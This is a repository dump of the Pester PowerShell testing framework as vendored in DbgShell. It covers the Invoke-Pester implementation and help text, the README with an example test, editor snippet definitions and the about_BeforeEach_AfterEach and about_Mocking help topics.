$script:SafeCommands['Resolve-Path'] | & $script:SafeCommands['Where-Object'] { -not ($_.ProviderPath.ToLower().Contains(".tests.")) } | & $script:SafeCommands['ForEach-Object'] { . $_.ProviderPath } Add-Type -TypeDefinition @" using System; namespace Pester { [Flags] public enum OutputTypes { None = 0, Default = 1, Passed = 2, Failed = 4, Pending = 8, Skipped = 16, Inconclusive = 32, Describe = 64, Context = 128, Summary = 256, All = Default | Passed | Failed | Pending | Skipped | Inconclusive | Describe | Context | Summary, Fails = Default | Failed | Pending | Skipped | Inconclusive | Describe | Context | Summary } } "@ function Has-Flag { param ( [Parameter(Mandatory = $true)] [Pester.OutputTypes] $Setting, [Parameter(Mandatory = $true, ValueFromPipeline=$true)] [Pester.OutputTypes] $Value ) 0 -ne ($Setting -band $Value) } function Invoke-Pester { <# .SYNOPSIS Runs Pester tests .DESCRIPTION The Invoke-Pester function runs Pester tests, including *.Tests.ps1 files and Pester tests in PowerShell scripts. You can run scripts that include Pester tests just as you would any other Windows PowerShell script, including typing the full path at the command line and running in a script editing program. Typically, you use Invoke-Pester to run all Pester tests in a directory, or to use its many helpful parameters, including parameters that generate custom objects or XML files. By default, Invoke-Pester runs all *.Tests.ps1 files in the current directory and all subdirectories recursively. You can use its parameters to select tests by file name, test name, or tag. To run Pester tests in scripts that take parameter values, use the Script parameter with a hash table value. Also, by default, Pester tests write test results to the console host, much like Write-Host does, but you can use the Quiet parameter to suppress the host messages, use the PassThru parameter to generate a custom object (PSCustomObject) that contains the test results, use the OutputXml and OutputFormat parameters to write the test results to an XML file, and use the EnableExit parameter to return an exit code that contains the number of failed tests. You can also use the Strict parameter to fail all pending and skipped tests. This feature is ideal for build systems and other processes that require success on every test. To help with test design, Invoke-Pester includes a CodeCoverage parameter that lists commands, functions, and lines of code that did not run during test execution and returns the code that ran as a percentage of all tested code. Invoke-Pester, and the Pester module that exports it, are products of an open-source project hosted on GitHub. To view, comment, or contribute to the repository, see https://github.com/Pester. .PARAMETER Script Specifies the test files that Pester runs. You can also use the Script parameter to pass parameter names and values to a script that contains Pester tests. The value of the Script parameter can be a string, a hash table, or a collection of hash tables and strings. Wildcard characters are supported. The Script parameter is optional. If you omit it, Invoke-Pester runs all *.Tests.ps1 files in the local directory and its subdirectories recursively. To run tests in other files, such as .ps1 files, enter the path and file name of the file. (The file name is required. Name patterns that end in "*.ps1" run only *.Tests.ps1 files.) To run a Pester test with parameter names and/or values, use a hash table as the value of the script parameter. The keys in the hash table are: -- Path [string] (required): Specifies a test to run. The value is a path\file name or name pattern. Wildcards are permitted. All hash tables in a Script parameter value must have a Path key. -- Parameters [hashtable]: Runs the script with the specified parameters. The value is a nested hash table with parameter name and value pairs, such as @{UserName = 'User01'; Id = '28'}. -- Arguments [array]: An array or comma-separated list of parameter values without names, such as 'User01', 28. Use this key to pass values to positional parameters. .PARAMETER TestName Runs only tests in Describe blocks that have the specified name or name pattern. Wildcard characters are supported. If you specify multiple TestName values, Invoke-Pester runs tests that have any of the values in the Describe name (it ORs the TestName values). .PARAMETER EnableExit Will cause Invoke-Pester to exit with a exit code equal to the number of failed tests once all tests have been run. Use this to "fail" a build when any tests fail. .PARAMETER OutputFile The path where Invoke-Pester will save formatted test results log file. The path must include the location and name of the folder and file name with the xml extension. If this path is not provided, no log will be generated. .PARAMETER OutputFormat The format of output. Two formats of output are supported: NUnitXML and LegacyNUnitXML. .PARAMETER OutputXml The parameter OutputXml is deprecated, please use OutputFile and OutputFormat instead. The path where Invoke-Pester will save a NUnit formatted test results log file. The path must include the location and name of the folder and file name with the xml extension. If this path is not provided, no log will be generated. .PARAMETER Tag Runs only tests in Describe blocks with the specified Tag parameter values. Wildcard characters and Tag values that include spaces or whitespace characters are not supported. When you specify multiple Tag values, Invoke-Pester runs tests that have any of the listed tags (it ORs the tags). However, when you specify TestName and Tag values, Invoke-Pester runs only describe blocks that have one of the specified TestName values and one of the specified Tag values. If you use both Tag and ExcludeTag, ExcludeTag takes precedence. .PARAMETER ExcludeTag Omits tests in Describe blocks with the specified Tag parameter values. Wildcard characters and Tag values that include spaces or whitespace characters are not supported. When you specify multiple ExcludeTag values, Invoke-Pester omits tests that have any of the listed tags (it ORs the tags). However, when you specify TestName and ExcludeTag values, Invoke-Pester omits only describe blocks that have one of the specified TestName values and one of the specified Tag values. If you use both Tag and ExcludeTag, ExcludeTag takes precedence .PARAMETER PassThru Returns a custom object (PSCustomObject) that contains the test results. By default, Invoke-Pester writes to the host program, not to the output stream (stdout). If you try to save the result in a variable, the variable is empty unless you use the PassThru parameter. To suppress the host output, use the Quiet parameter. .PARAMETER CodeCoverage Adds a code coverage report to the Pester tests. Takes strings or hash table values. A code coverage report lists the lines of code that did and did not run during a Pester test. This report does not tell whether code was tested; only whether the code ran during the test. By default, the code coverage report is written to the host program (like Write-Host). When you use the PassThru parameter, the custom object that Invoke-Pester returns has an additional CodeCoverage property that contains a custom object with detailed results of the code coverage test, including lines hit, lines missed, and helpful statistics. However, NUnitXML and LegacyNUnitXML output (OutputXML, OutputFormat) do not include any code coverage information, because it's not supported by the schema. Enter the path to the files of code under test (not the test file). Wildcard characters are supported. If you omit the path, the default is local directory, not the directory specified by the Script parameter. To run a code coverage test only on selected functions or lines in a script, enter a hash table value with the following keys: -- Path (P)(mandatory) . Enter one path to the files. Wildcard characters are supported, but only one string is permitted. One of the following: Function or StartLine/EndLine -- Function (F) : Enter the function name. Wildcard characters are supported, but only one string is permitted. -or- -- StartLine (S): Performs code coverage analysis beginning with the specified line. Default is line 1. -- EndLine (E): Performs code coverage analysis ending with the specified line. Default is the last line of the script. .PARAMETER Strict Makes Pending and Skipped tests to Failed tests. Useful for continuous integration where you need to make sure all tests passed. .PARAMETER Quiet Suppresses the output that Pester writes to the host program, including the result summary and CodeCoverage output. This parameter does not affect the PassThru custom object or the XML output that is written when you use the Output parameters. .PARAMETER Show Customizes the output Pester writes to the screen. Available options are None, Default, Passed, Failed, Pending, Skipped, Inconclusive, Describe, Context, Summary, Header, All, Fails. The options can be combined to define presets. Common use cases are: None - to write no output to the screen. All - to write all available information (this is default option). Fails - to write everything except Passed (but including Describes etc.). A common setting is also Failed, Summary, to write only failed tests and test summary. This parameter does not affect the PassThru custom object or the XML output that is written when you use the Output parameters. .PARAMETER PesterOption Sets advanced options for the test execution. Enter a PesterOption object, such as one that you create by using the New-PesterOption cmdlet, or a hash table in which the keys are option names and the values are option values. For more information on the options available, see the help for New-PesterOption. .Example Invoke-Pester This command runs all *.Tests.ps1 files in the current directory and its subdirectories. .Example Invoke-Pester -Script .\Util* This commands runs all *.Tests.ps1 files in subdirectories with names that begin with 'Util' and their subdirectories. .Example Invoke-Pester -Script D:\MyModule, @{ Path = '.\Tests\Utility\ModuleUnit.Tests.ps1'; Parameters = @{ Name = 'User01' }; Arguments = srvNano16 } This command runs all *.Tests.ps1 files in D:\MyModule and its subdirectories. It also runs the tests in the ModuleUnit.Tests.ps1 file using the following parameters: .\Tests\Utility\ModuleUnit.Tests.ps1 srvNano16 -Name User01 .Example Invoke-Pester -TestName "Add Numbers" This command runs only the tests in the Describe block named "Add Numbers". .EXAMPLE $results = Invoke-Pester -Script D:\MyModule -PassThru -Quiet $failed = $results.TestResult | where Result -eq 'Failed' $failed.Name cannot find help for parameter: Force : in Compress-Archive help for Force parameter in Compress-Archive has wrong Mandatory value help for Compress-Archive has wrong parameter type for Force help for Update parameter in Compress-Archive has wrong Mandatory value help for DestinationPath parameter in Expand-Archive has wrong Mandatory value $failed[0] Describe : Test help for Compress-Archive in Microsoft.PowerShell.Archive (1.0.0.0) Context : Test parameter help for Compress-Archive Name : cannot find help for parameter: Force : in Compress-Archive Result : Failed Passed : False Time : 00:00:00.0193083 FailureMessage : Expected: value to not be empty StackTrace : at line: 279 in C:\GitHub\PesterTdd\Module.Help.Tests.ps1 279: $parameterHelp.Description.Text | Should Not BeNullOrEmpty ErrorRecord : Expected: value to not be empty ParameterizedSuiteName : Parameters : {} This examples uses the PassThru parameter to return a custom object with the Pester test results. By default, Invoke-Pester writes to the host program, but not to the output stream. It also uses the Quiet parameter to suppress the host output. The first command runs Invoke-Pester with the PassThru and Quiet parameters and saves the PassThru output in the $results variable. The second command gets only failing results and saves them in the $failed variable. The third command gets the names of the failing results. The result name is the name of the It block that contains the test. The fourth command uses an array index to get the first failing result. The property values describe the test, the expected result, the actual result, and useful values, including a stack tace. .Example Invoke-Pester -EnableExit -OutputFile ".\artifacts\TestResults.xml" -OutputFormat NUnitXml This command runs all tests in the current directory and its subdirectories. It writes the results to the TestResults.xml file using the NUnitXml schema. The test returns an exit code equal to the number of test failures. .EXAMPLE Invoke-Pester -CodeCoverage 'ScriptUnderTest.ps1' Runs all *.Tests.ps1 scripts in the current directory, and generates a coverage report for all commands in the "ScriptUnderTest.ps1" file. .EXAMPLE Invoke-Pester -CodeCoverage @{ Path = 'ScriptUnderTest.ps1'; Function = 'FunctionUnderTest' } Runs all *.Tests.ps1 scripts in the current directory, and generates a coverage report for all commands in the "FunctionUnderTest" function in the "ScriptUnderTest.ps1" file. .EXAMPLE Invoke-Pester -CodeCoverage @{ Path = 'ScriptUnderTest.ps1'; StartLine = 10; EndLine = 20 } Runs all *.Tests.ps1 scripts in the current directory, and generates a coverage report for all commands on lines 10 through 20 in the "ScriptUnderTest.ps1" file. .EXAMPLE Invoke-Pester -Script C:\Tests -Tag UnitTest, Newest -ExcludeTag Bug This command runs *.Tests.ps1 files in C:\Tests and its subdirectories. In those files, it runs only tests that have UnitTest or Newest tags, unless the test also has a Bug tag. .LINK https://github.com/pester/Pester/wiki/Invoke-Pester Describe about_Pester New-PesterOption #> [CmdletBinding(DefaultParameterSetName = 'LegacyOutputXml')] param( [Parameter(Position=0,Mandatory=0)] [Alias('Path', 'relative_path')] [object[]]$Script = '.', [Parameter(Position=1,Mandatory=0)] [Alias("Name")] [string[]]$TestName, [Parameter(Position=2,Mandatory=0)] [switch]$EnableExit, [Parameter(Position=3,Mandatory=0, ParameterSetName = 'LegacyOutputXml')] [string]$OutputXml, [Parameter(Position=4,Mandatory=0)] [Alias('Tags')] [string[]]$Tag, [string[]]$ExcludeTag, [switch]$PassThru, [object[]] $CodeCoverage = @(), [Switch]$Strict, [Parameter(Mandatory = $true, ParameterSetName = 'NewOutputSet')] [string] $OutputFile, [Parameter(ParameterSetName = 'NewOutputSet')] [ValidateSet('LegacyNUnitXml', 'NUnitXml')] [string] $OutputFormat = 'NUnitXml', [Switch]$Quiet, [object]$PesterOption, [Pester.OutputTypes]$Show = 'All' ) if ($PSBoundParameters.ContainsKey('OutputXml')) { & $script:SafeCommands['Write-Warning'] 'The -OutputXml parameter has been deprecated; please use the new -OutputFile and -OutputFormat parameters instead. To get the same type of export that the -OutputXml parameter currently provides, use an -OutputFormat of "LegacyNUnitXml".' & $script:SafeCommands['Start-Sleep'] -Seconds 2 $OutputFile = $OutputXml $OutputFormat = 'LegacyNUnitXml' } $script:mockTable = @{} if ($Quiet) { $Show = [Pester.OutputTypes]::None } $pester = New-PesterState -TestNameFilter $TestName -TagFilter ($Tag -split "\s") -ExcludeTagFilter ($ExcludeTag -split "\s") -SessionState $PSCmdlet.SessionState -Strict:$Strict -Show:$Show -PesterOption $PesterOption Enter-CoverageAnalysis -CodeCoverage $CodeCoverage -PesterState $pester Write-Screen "`r`n`r`n`r`n`r`n" $invokeTestScript = { param ( [Parameter(Position = 0)] [string] $Path, [object[]] $Arguments = @(), [System.Collections.IDictionary] $Parameters = @{} ) & $Path @Parameters @Arguments } Set-ScriptBlockScope -ScriptBlock $invokeTestScript -SessionState $PSCmdlet.SessionState $testScripts = @(ResolveTestScripts $Script) foreach ($testScript in $testScripts) { try { do { & $invokeTestScript -Path $testScript.Path -Arguments $testScript.Arguments -Parameters $testScript.Parameters } until ($true) } catch { $firstStackTraceLine = $_.ScriptStackTrace -split '\r?\n' | & $script:SafeCommands['Select-Object'] -First 1 $pester.AddTestResult("Error occurred in test script '$($testScript.Path)'", "Failed", $null, $_.Exception.Message, $firstStackTraceLine, $null, $null, $_) # This is a hack to ensure that XML output is valid for now. The test-suite names come from the Describe attribute of the TestResult # objects, and a blank name is invalid NUnit XML. This will go away when we promote test scripts to have their own test-suite nodes, # planned for v4.0 $pester.TestResult[-1].Describe = "Error in $($testScript.Path)" $pester.TestResult[-1] | Write-PesterResult } } $pester | Write-PesterReport $coverageReport = Get-CoverageReport -PesterState $pester Show-CoverageReport -CoverageReport $coverageReport Exit-CoverageAnalysis -PesterState $pester if(& $script:SafeCommands['Get-Variable'] -Name OutputFile -ValueOnly -ErrorAction $script:IgnoreErrorPreference) { Export-PesterResults -PesterState $pester -Path $OutputFile -Format $OutputFormat } if ($PassThru) { #remove all runtime properties like current* and Scope $properties = @( "TagFilter","ExcludeTagFilter","TestNameFilter","TotalCount","PassedCount","FailedCount","SkippedCount","PendingCount",'InconclusiveCount',"Time","TestResult" if ($CodeCoverage) { @{ Name = 'CodeCoverage'; Expression = { $coverageReport } } } ) $pester | & $script:SafeCommands['Select-Object'] -Property $properties } if ($EnableExit) { Exit-WithCode -FailedCount $pester.FailedCount } } function New-PesterOption { <# .SYNOPSIS Creates an object that contains advanced options for Invoke-Pester .PARAMETER IncludeVSCodeMarker When this switch is set, an extra line of output will be written to the console for test failures, making it easier for VSCode's parser to provide highlighting / tooltips on the line where the error occurred. .INPUTS None You cannot pipe input to this command. .OUTPUTS System.Management.Automation.PSObject .LINK Invoke-Pester #> [CmdletBinding()] param ( [switch] $IncludeVSCodeMarker ) return & $script:SafeCommands['New-Object'] psobject -Property @{ IncludeVSCodeMarker = [bool]$IncludeVSCodeMarker } } function ResolveTestScripts { param ([object[]] $Path) $resolvedScriptInfo = @( foreach ($object in $Path) { if ($object -is [System.Collections.IDictionary]) { $unresolvedPath = Get-DictionaryValueFromFirstKeyFound -Dictionary $object -Key 'Path', 'p' $arguments = @(Get-DictionaryValueFromFirstKeyFound -Dictionary $object -Key 'Arguments', 'args', 'a') $parameters = Get-DictionaryValueFromFirstKeyFound -Dictionary $object -Key 'Parameters', 'params' if ($null -eq $Parameters) { $Parameters = @{} } if ($unresolvedPath -isnot [string] -or $unresolvedPath -notmatch '\S') { throw 'When passing hashtables to the -Path parameter, the Path key is mandatory, and must contain a single string.' } if ($null -ne $parameters -and $parameters -isnot [System.Collections.IDictionary]) { throw 'When passing hashtables to the -Path parameter, the Parameters key (if present) must be assigned an IDictionary object.' } } else { $unresolvedPath = [string] $object $arguments = @() $parameters = @{} } if ($unresolvedPath -notmatch '[\*\?\[\]]' -and (& $script:SafeCommands['Test-Path'] -LiteralPath $unresolvedPath -PathType Leaf) -and (& $script:SafeCommands['Get-Item'] -LiteralPath $unresolvedPath) -is [System.IO.FileInfo]) { $extension = [System.IO.Path]::GetExtension($unresolvedPath) if ($extension -ne '.ps1') { & $script:SafeCommands['Write-Error'] "Script path '$unresolvedPath' is not a ps1 file." } else { & $script:SafeCommands['New-Object'] psobject -Property @{ Path = $unresolvedPath Arguments = $arguments Parameters = $parameters } } } else { # World's longest pipeline? & $script:SafeCommands['Resolve-Path'] -Path $unresolvedPath | & $script:SafeCommands['Where-Object'] { $_.Provider.Name -eq 'FileSystem' } | & $script:SafeCommands['Select-Object'] -ExpandProperty ProviderPath | & $script:SafeCommands['Get-ChildItem'] -Include *.Tests.ps1 -Recurse | & $script:SafeCommands['Where-Object'] { -not $_.PSIsContainer } | & $script:SafeCommands['Select-Object'] -ExpandProperty FullName -Unique | & $script:SafeCommands['ForEach-Object'] { & $script:SafeCommands['New-Object'] psobject -Property @{ Path = $_ Arguments = $arguments Parameters = $parameters } } } } ) # Here, we have the option of trying to weed out duplicate file paths that also contain identical # Parameters / Arguments. However, we already make sure that each object in $Path didn't produce # any duplicate file paths, and if the caller happens to pass in a set of parameters that produce # dupes, maybe that's not our problem. For now, just return what we found. $resolvedScriptInfo } function Get-DictionaryValueFromFirstKeyFound { param ([System.Collections.IDictionary] $Dictionary, [object[]] $Key) foreach ($keyToTry in $Key) { if ($Dictionary.Contains($keyToTry)) { return $Dictionary[$keyToTry] } } } function Set-ScriptBlockScope { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock, [Parameter(Mandatory = $true, ParameterSetName = 'FromSessionState')] [System.Management.Automation.SessionState] $SessionState, [Parameter(Mandatory = $true, ParameterSetName = 'FromSessionStateInternal')] $SessionStateInternal ) $flags = [System.Reflection.BindingFlags]'Instance,NonPublic' if ($PSCmdlet.ParameterSetName -eq 'FromSessionState') { $SessionStateInternal = $SessionState.GetType().GetProperty('Internal', $flags).GetValue($SessionState, $null) } [scriptblock].GetProperty('SessionStateInternal', $flags).SetValue($ScriptBlock, $SessionStateInternal, $null) } function Get-ScriptBlockScope { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock ) $flags = [System.Reflection.BindingFlags]'Instance,NonPublic' [scriptblock].GetProperty('SessionStateInternal', $flags).GetValue($ScriptBlock, $null) } function Get-OperatingSystem { [CmdletBinding()] param() ## Prior to v6, PowerShell was solely Windows. In v6, the $IsWindows var was introduced. if ($PSVersionTable.PSVersion.Major -lt 6 -or $IsWindows) { 'Windows' } elseif ($IsOSX) { 'OSX' } elseif ($IsLinux) { 'Linux' } } function Get-TempDirectory { [CmdletBinding()] param() if ((Get-OperatingSystem) -eq 'Windows') { $env:TEMP } else { '/tmp' } } function SafeGetCommand { <# .SYNOPSIS This command is used by Pester's Mocking framework. You do not need to call it directly. #> return $script:SafeCommands['Get-Command'] } $snippetsDirectoryPath = "$PSScriptRoot\Snippets" if ((& $script:SafeCommands['Test-Path'] -Path Variable:\psise) -and ($null -ne $psISE) -and ($PSVersionTable.PSVersion.Major -ge 3) -and (& $script:SafeCommands['Test-Path'] $snippetsDirectoryPath)) { Import-IseSnippet -Path $snippetsDirectoryPath } & $script:SafeCommands['Export-ModuleMember'] Describe, Context, It, In, Mock, Assert-VerifiableMocks, Assert-MockCalled, Set-TestInconclusive & $script:SafeCommands['Export-ModuleMember'] New-Fixture, Get-TestDriveItem, Should, Invoke-Pester, Setup, InModuleScope, Invoke-Mock & $script:SafeCommands['Export-ModuleMember'] BeforeEach, AfterEach, BeforeAll, AfterAll & $script:SafeCommands['Export-ModuleMember'] Get-MockDynamicParameters, Set-DynamicParameterVariables & $script:SafeCommands['Export-ModuleMember'] SafeGetCommand, New-PesterOption & $script:SafeCommands['Export-ModuleMember'] New-MockObject ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/README.md ================================================ __Build Status:__ [![Build status](https://build.powershell.org/guestAuth/app/rest/builds/buildType:(id:Pester_TestPester)/statusIcon)](https://build.powershell.org/project.html?projectId=Pester&tab=projectOverview&guest=1) Pester 3.0 has been released! To see a list of changes in this version, refer to the [What's New in Pester 3.0?](https://github.com/pester/Pester/wiki/What's-New-in-Pester-3.0) Wiki page. --- [![Join the chat at https://gitter.im/pester/Pester](https://badges.gitter.im/pester/Pester.svg)](https://gitter.im/pester/Pester?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) Pester ======= Pester provides a framework for **running unit tests to execute and validate PowerShell commands from within PowerShell**. Pester consists of a simple set of functions that expose a testing domain-specific language (DSL) for isolating, running, evaluating and reporting the results of PowerShell commands. Pester tests can execute any command or script that is accessible to a Pester test file. This can include functions, cmdlets, modules and scripts. Pester can be run in *ad-hoc* style in a console or **it can be integrated into the build scripts of a continuous integration (CI) system**. **Pester also contains a powerful set of mocking functions** in which tests mimic any command functionality within the tested PowerShell code. A Pester Test ------------- BuildChanges.ps1 ```powershell function Build ($version) { write-host "A build was run for version: $version" } function BuildIfChanged { $thisVersion=Get-Version $nextVersion=Get-NextVersion if($thisVersion -ne $nextVersion) {Build $nextVersion} return $nextVersion } # Imagine that the following functions have heavy side-effect function Get-Version { throw New-Object NotImplementedException } function Get-NextVersion { throw New-Object NotImplementedException } ``` BuildChanges.Tests.ps1 ```powershell $here = Split-Path -Parent $MyInvocation.MyCommand.Path $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path) -replace '\.Tests\.', '.' . "$here\$sut" Describe "BuildIfChanged" { Context "When there are changes" { Mock Get-Version {return 1.1} Mock Get-NextVersion {return 1.2} Mock Build {} -Verifiable -ParameterFilter {$version -eq 1.2} $result = BuildIfChanged It "Builds the next version" { Assert-VerifiableMocks } It "Returns the next version number" { $result | Should Be 1.2 } } Context "When there are no changes" { Mock Get-Version -MockWith {return 1.1} Mock Get-NextVersion -MockWith {return 1.1} Mock Build {} $result = BuildIfChanged It "Should not build the next version" { Assert-MockCalled Build -Times 0 -ParameterFilter {$version -eq 1.1} } } } ``` Running Tests ------------- C:\PS> Invoke-Pester This will run all tests inside of files named `*.Tests.ps1` recursively from the current directory and print a report of all failing and passing test results to the console. C:\PS> Invoke-Pester -TestName BuildIfChanged You can also run specific tests by using the `-TestName` parameter of the `Invoke-Pester` command. The above example runs all tests with a `Describe` block named `BuildIfChanged`. If you want to run multiple tests, you can pass a string array into the `-TestName` parameter, similar to the following example: C:\PS> Invoke-Pester -TestName BuildIfChanged, BaconShouldBeCrispy Continuous Integration with Pester ----------------------------------- Pester integrates well with almost any build automation solution. There are several options for this integration: - The `-OutputFile` parameter allows you to export data about the test execution. Currently, this parameter allows you to produce NUnit-style XML output, which any modern CI solution should be able to read. - The `-PassThru` parameter can be used if your CI solution supports running PowerShell code directly. After Pester finishes running, check the FailedCount property on the object to determine whether any tests failed, and take action from there. - The `-EnableExit` switch causes Pester to exit the current PowerShell session with an error code. This error code will be the number of failed tests; 0 indicates success. As an example, there is also a file named `Pester.bat` in the `bin` folder which shows how you might integrate with a CI solution that does not support running PowerShell directly. By wrapping a call to `Invoke-Pester` in a batch file, and making sure that batch file returns a non-zero exit code if any tests fail, you can still use Pester even when limited to cmd.exe commands in your CI jobs. Whenever possible, it's better to run Invoke-Pester directly (either in an interactive PowerShell session, or using CI software that supports running PowerShell steps in jobs). This is the method that we test and support in our releases. For Further Learning: ----------------------------------- * [Getting started with Pester](http://www.powershellmagazine.com/2014/03/12/get-started-with-pester-powershell-unit-testing-framework/) * [Testing your scripts with Pester, Assertions and more](http://www.powershellmagazine.com/2014/03/27/testing-your-powershell-scripts-with-pester-assertions-and-more/) * [Writing Pester Tests](https://github.com/PowerShell/PowerShell/blob/master/docs/testing-guidelines/WritingPesterTests.md) * [Pester Wiki](https://github.com/pester/Pester/wiki) * [Google Discussion Group](https://groups.google.com/forum/?fromgroups#!forum/pester) * `C:\PS> Import-Module ./pester.psm1; Get-Help about_pester` * Microsoft's PowerShell test suite itself is being converted into Pester tests. [See the PowerShell-Tests repository.](https://github.com/PowerShell/PowerShell-Tests) * Note: The following two links were for Pester v1.0. The syntax shown, particularly for performing assertions with Should, is no longer applicable to later versions of Pester. * [powershell-bdd-testing-pester-screencast](http://scottmuc.com/blog/development/powershell-bdd-testing-pester-screencast/) * [pester-bdd-for-the-system-administrator](http://scottmuc.com/blog/development/pester-bdd-for-the-system-administrator/) ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Snippets/Context.snippets.ps1xml ================================================ 
Context Add empty Pester Context block ctx ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Snippets/Describe.snippets.ps1xml ================================================ 
Describe Add empty Pester Describe block dsc ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Snippets/It.snippets.ps1xml ================================================ 
It Add empty Pester It block it nohwnd PowerShell Expansion
================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Snippets/ShouldBe.snippets.ps1xml ================================================ 
Should Be Add Pester Should Be assertion sb Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Snippets/ShouldBeGreaterThan.snippets.ps1xml ================================================ 
Should Be Greater Than Add Pester Should BeGreaterThan assertion sbgt Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Snippets/ShouldBeLessThan.snippets.ps1xml ================================================ 
Should Be Less Than Add Pester Should BeLessThan assertion sblt Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Snippets/ShouldBeNullOrEmpty.snippets.ps1xml ================================================ 
Should Be NullOrEmpty Add Pester Should BeNullOrEmpty assertion sbn Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Snippets/ShouldContain.snippets.ps1xml ================================================ 
Should Contain Add Pester Should Contain assertion sc Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Snippets/ShouldExist.snippets.ps1xml ================================================ 
Should Exist Add Pester Should Exist assertion se Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Snippets/ShouldMatch.snippets.ps1xml ================================================ 
Should Match Add Pester Should Match assertion sm Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Snippets/ShouldNotBe.snippets.ps1xml ================================================ 
Should Not Be Add Pester Should Be assertion snb Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Snippets/ShouldNotBeNullOrEmpty.snippets.ps1xml ================================================ 
Should Not BeNullOrEmpty Add Pester Should Not BeNullOrEmpty assertion snbn Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Snippets/ShouldNotContain.snippets.ps1xml ================================================ 
Should Not Contain Add Pester Should Not Contain assertion snc Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Snippets/ShouldNotExist.snippets.ps1xml ================================================ 
Should Not Exist Add Pester Should Not Exist assertion sne Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Snippets/ShouldNotMatch.snippets.ps1xml ================================================ 
Should Not Match Add Pester Should Not Match assertion snm Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Snippets/ShouldNotThrow.snippets.ps1xml ================================================ 
Should Not Throw Add Pester Should Not Throw assertion snt Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Snippets/ShouldThrow.snippets.ps1xml ================================================ 
Should Throw Add Pester Should Throw assertion st Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x64/DbgShellTest/Pester/en-US/about_BeforeEach_AfterEach.help.txt ================================================ TOPIC about_BeforeEach_AfterEach SHORT DESCRIPTION Describes the BeforeEach and AfterEach commands, which run a set of commands that you specify before or after every It block. LONG DESCRIPTION The the BeforeEach and AfterEach commands in the Pester module let you define setup and teardown tasks that are performed at the beginning and end of every It block. This can eliminate duplication of code in test scripts, ensure that each test is performed on a pristine state regardless of their order, and perform any necessary clean-up tasks after each test. BeforeEach and AfterEach blocks may be defined inside of any Describe or Context. If they are present in both a Context and its parent Describe, BeforeEach blocks in the Describe scope are executed first, followed by BeforeEach blocks in the Context scope. AfterEach blocks are the reverse of this, with the Context AfterEach blocks executing before Describe. The script blocks assigned to BeforeEach and AfterEach are dot-sourced in the Context or Describe which contains the current It statement, so you don't have to worry about the scope of variable assignments. Any variables that are assigned values within a BeforeEach block can be used inside the body of the It block. BeforeAll and AfterAll are used the same way as BeforeEach and AfterEach, except that they are executed at the beginning and end of their containing Describe or Context block. This is essentially syntactic sugar for the following arrangement of code: Describe 'Something' { try { } finally { } } SYNTAX AND PLACEMENT Unlike most of the commands in a Pester script, BeforeEach, AfterEach, BeforeAll and AfterAll blocks apply to the entire Describe or Context scope in which they are defined, regardless of the order of commands inside the Describe or Context. In other words, even if an It block appears before BeforeEach or AfterEach in the tests file, the BeforeEach and AfterEach will still be executed. Likewise, BeforeAll code will be executed at the beginning of a Context or Describe block regardless of where it is found, and AfterAll code will execute at the end of the Context or Describe. EXAMPLES Describe 'Testing BeforeEach and AfterEach' { $afterEachVariable = 'AfterEach has not been executed yet' It 'Demonstrates that BeforeEach may be defined after the It command' { $beforeEachVariable | Should Be 'Set in a describe-scoped BeforeEach' $afterEachVariable | Should Be 'AfterEach has not been executed yet' $beforeAllVariable | Should Be 'BeforeAll has been executed' } It 'Demonstrates that AfterEach has executed after the end of the first test' { $afterEachVariable | Should Be 'AfterEach has been executed' } BeforeEach { $beforeEachVariable = 'Set in a describe-scoped BeforeEach' } AfterEach { $afterEachVariable = 'AfterEach has been executed' } BeforeAll { $beforeAllVariable = 'BeforeAll has been executed' } } SEE ALSO about_Pester about_Should about_Mocking about_TestDrive about_about_Try_Catch_Finally Describe Context Should It Invoke-Pester ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/en-US/about_Mocking.help.txt ================================================ TOPIC about_Mocking SHORT DESCRIPTION Pester provides a set of Mocking functions making it easy to fake dependencies and also to verify behavior. Using these mocking functions can allow you to "shim" a data layer or mock other complex functions that already have their own tests. LONG DESCRIPTION With the set of Mocking functions that Pester exposes, one can: - Mock the behavior of ANY PowerShell command. - Verify that specific commands were (or were not) called. - Verify the number of times a command was called with a set of specified parameters. MOCKING FUNCTIONS For detailed information about the functions in the Pester module, use Get-Help. Mock Mocks the behavior of an existing command with an alternate implementation. Assert-VerifiableMocks Checks if any Verifiable Mock has not been invoked. If so, this will throw an exception. Assert-MockCalled Checks if a Mocked command has been called a certain number of times and throws an exception if it has not. 